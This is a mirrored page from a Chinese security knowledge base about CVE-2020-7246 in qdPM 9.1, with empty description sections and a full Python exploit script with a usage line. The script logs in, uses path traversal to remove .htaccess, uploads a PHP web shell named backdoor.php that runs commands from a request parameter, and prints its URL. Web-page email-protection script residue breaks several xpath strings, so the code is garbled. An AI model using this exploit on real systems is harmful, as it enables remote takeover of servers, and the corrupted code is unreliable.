menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-7246)QdPM 9.1 远程代码执行漏洞 chevron_right (CVE-2020-7246)QdPM 9.1 远程代码执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-7246)QdPM 9.1 远程代码执行漏洞.md
    8.4 KB / 2021-07-15 20:02:21
        (CVE-2020-7246)QdPM \<9.1 远程代码执行漏洞
    ============================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    **python CVE-2020-7246.py -url https://www.0-sec.org/ -u 用户名 -p密码**
    
        # Exploit Title: qdPM 9.1 - Remote Code Execution
        # Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
        # Date: 2020-01-22
        # Exploit Author: Rishal Dwivedi (Loginsoft)
        # Vendor Homepage: http://qdpm.net/
        # Software Link: http://qdpm.net/download-qdpm-free-project-management
        # Version: <=1.9.1
        # Tested on: Windows 10 (Python 2.7)
        # CVE : CVE-2020-7246
        # Exploit written in Python 2.7
        # Tested Environment - Windows 10
        # Path Traversal + Remote Code Execution
    
        # Command - qdpm-exploit.py -url http://localhost/ -u [email protected] -p password
        # -*- coding: utf-8 -*-
        #!/usr/bin/python
    
        import requests
        from lxml import html
        from argparse import ArgumentParser
    
        session_requests = requests.session()
    
        def multifrm(
            userid,
            username,
            csrftoken_,
            EMAIL,
            HOSTNAME,
            uservar,
            ):
            request_1 = {
                'sf_method': (None, 'put'),
                'users[id]': (None, userid[-1]),
                'users[photo_preview]': (None, uservar),
                'users[_csrf_token]': (None, csrftoken_[-1]),
                'users[name]': (None, username[-1]),
                'users[new_password]': (None, ''),
                'users[email]': (None, EMAIL),
                'extra_fields[9]': (None, ''),
                'users[remove_photo]': (None, '1'),
                }
            return request_1
    
    
        def req(
            userid,
            username,
            csrftoken_,
            EMAIL,
            HOSTNAME,
            ):
            request_1 = multifrm(
                userid,
                username,
                csrftoken_,
                EMAIL,
                HOSTNAME,
                '.htaccess',
                )
            new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                        , files=request_1)
            request_2 = multifrm(
                userid,
                username,
                csrftoken_,
                EMAIL,
                HOSTNAME,
                '../.htaccess',
                )
            new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                         , files=request_2)
            request_3 = {
                'sf_method': (None, 'put'),
                'users[id]': (None, userid[-1]),
                'users[photo_preview]': (None, ''),
                'users[_csrf_token]': (None, csrftoken_[-1]),
                'users[name]': (None, username[-1]),
                'users[new_password]': (None, ''),
                'users[email]': (None, EMAIL),
                'extra_fields[9]': (None, ''),
                'users[photo]': ('backdoor.php',
                                 '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
                                 , 'application/octet-stream'),
                }
            upload_req = session_requests.post(HOSTNAME
                    + 'index.php/myAccount/update', files=request_3)
    
    
        def main(HOSTNAME, EMAIL, PASSWORD):
            result = session_requests.get(HOSTNAME + '/index.php/login')
            login_tree = html.fromstring(result.text)
            authenticity_token =             list(set(login_tree.xpath("//input[@name='login[_csrf_token]']<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="d4fb94a2b5b8a1b1">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>"
                     )))[0]
            payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,
                       'login[_csrf_token]': authenticity_token}
            result = session_requests.post(HOSTNAME + '/index.php/login',
                                           data=payload,
                                           headers=dict(referer=HOSTNAME
                                           + '/index.php/login'))
            account_page = session_requests.get(HOSTNAME + 'index.php/myAccount'
                    )
            account_tree = html.fromstring(account_page.content)
            userid = account_tree.xpath("//input[@name='users[id]']<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="456a053324293020">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>")
            username = account_tree.xpath("//input[@name='users[name]']<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="e3cca395828f9686">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>")
            csrftoken_ =             account_tree.xpath("//input[@name='users[_csrf_token]']<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="e9c6a99f88859c8c">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>")
            req(userid, username, csrftoken_, EMAIL, HOSTNAME)
            get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
            final_tree = html.fromstring(get_file.content)
            backdoor =             final_tree.xpath("//input[@name='users[photo_preview]']<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="bc93fccaddd0c9d9">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>")
            print 'Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/'             + backdoor[-1] + '?cmd=whoami'
    
    
        if __name__ == '__main__':
            parser =             ArgumentParser(description='qdmp - Path traversal + RCE Exploit'
                               )
            parser.add_argument('-url', '--host', dest='hostname',
                                help='Project URL')
            parser.add_argument('-u', '--email', dest='email',
                                help='User email (Any privilege account)')
            parser.add_argument('-p', '--password', dest='password',
                                help='User password')
            args = parser.parse_args()
    
            main(args.hostname, args.email, args.password)
    
    
    links
    file_download